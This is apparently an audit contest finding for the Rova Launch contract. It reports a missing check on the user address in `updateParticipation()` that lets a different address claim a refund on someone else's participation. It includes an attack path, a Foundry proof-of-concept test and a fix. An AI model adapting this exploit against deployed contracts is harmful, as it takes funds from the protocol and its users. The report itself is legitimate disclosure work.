Zealous Black Coyote

High

# Steal money from the protocol

### Summary

The protocol does not verify that `request.userAddress == prevInfo.userAddress`, which allows a bad actor to exploit this vulnerability and steal money from the protocol.

### Root Cause

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L338-L344
The `updateParticipation()` function allows users to update the requested token amount for an existing participation. In the `_validateRequest()`, the protocol verifies that `msg.sender == request.userAddress`. 

```solidity
      // Validate launch id, chain id, user address, and launch group is valid
        if (
            _launchId != launchId || _chainId != block.chainid || msg.sender != _userAddress
                || !_launchGroups.contains(_launchGroupId)
        ) {
            revert InvalidRequest();
        }

```

The protocol then fetches the previous participation info as shown below:  
```solidity

ParticipationInfo storage prevInfo = launchGroupParticipations[request.prevLaunchParticipationId]

```

The protocol verifies that the requested user ID and currency match. 
```solidity
      if (request.currency != prevInfo.currency) {
            revert CurrencyMismatch(prevInfo.currency, request.currency);
        }
        if (request.userId != prevInfo.userId) {
            revert UserIdMismatch(prevInfo.userId, request.userId);
        }

```

If the new requested token amount is less than the old amount, the protocol transfers the payment currency from the contract to `msg.sender`. 

```solidity
 // If new requested token amount is less than old amount, handle refund
        if (prevInfo.currencyAmount > newCurrencyAmount) {
            // Calculate refund amount
            uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
            // Validate user new requested token amount is greater than min token amount per user
            if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
                revert MinUserTokenAllocationNotReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
            // Transfer payment currency from contract to user
            IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
        } 

```

The issue here is that the protocol does not verify that `prevInfo.userAddress == msg.sender`. This means a malicious actor could update another user's participation, causing them to steal money from the protocol.

### Internal Pre-conditions

At least one participant

### External Pre-conditions

None

### Attack Path

1. The bad actor finds an existing participant (userId: testUserId, currency: currency, userAddress: Alice).  
2. The bad actor builds the `UpdateParticipationRequest` with the same information as Alice's request, but with userAddress set to Bob.  
3. After obtaining the signature from the signer role, Bob calls the `updateParticipation()` function to decrease the amount.  
4. Profit

### Impact

Steal money from the protocol.

### PoC

Put the following POC code into the `Launch.UpdateParticipation.t` contract, then run `forge test --match-test "test_UpdateParticipation_DecreaseAmount2" -vvv`.

```solidity

function _createUpdateParticipationRequest2(uint256 newTokenAmount)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "newLaunchParticipationId",
            userId: testUserId,
            userAddress: user2,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
 function test_UpdateParticipation_DecreaseAmount2() public {
        // Prepare update participation request
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest2(500);

        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));
        uint256 initialCurrencyBalance = currency.balanceOf(user2);

        // Expect ParticipationUpdated event
        vm.expectEmit();
        emit ParticipationUpdated(
            updateRequest.launchGroupId,
            updateRequest.newLaunchParticipationId,
            testUserId,
            user2,
            updateRequest.tokenAmount,
            address(currency)
        );

        vm.startPrank(user2);
        // Update participation
        launch.updateParticipation(updateRequest, updateSignature);
    
        // Verify refund
        assertEq(currency.balanceOf(user2), initialCurrencyBalance + 500 * 10 ** launch.tokenDecimals());

         vm.stopPrank();
    }


```

### Mitigation

Verify that `request.userAddress == prevInfo.userAddress`.
```solidity
   if (request.userAddress != prevInfo.userAddress) {
            revert UserAddressMismatch(prevInfo.userAddress, request.userAddress);
        }

```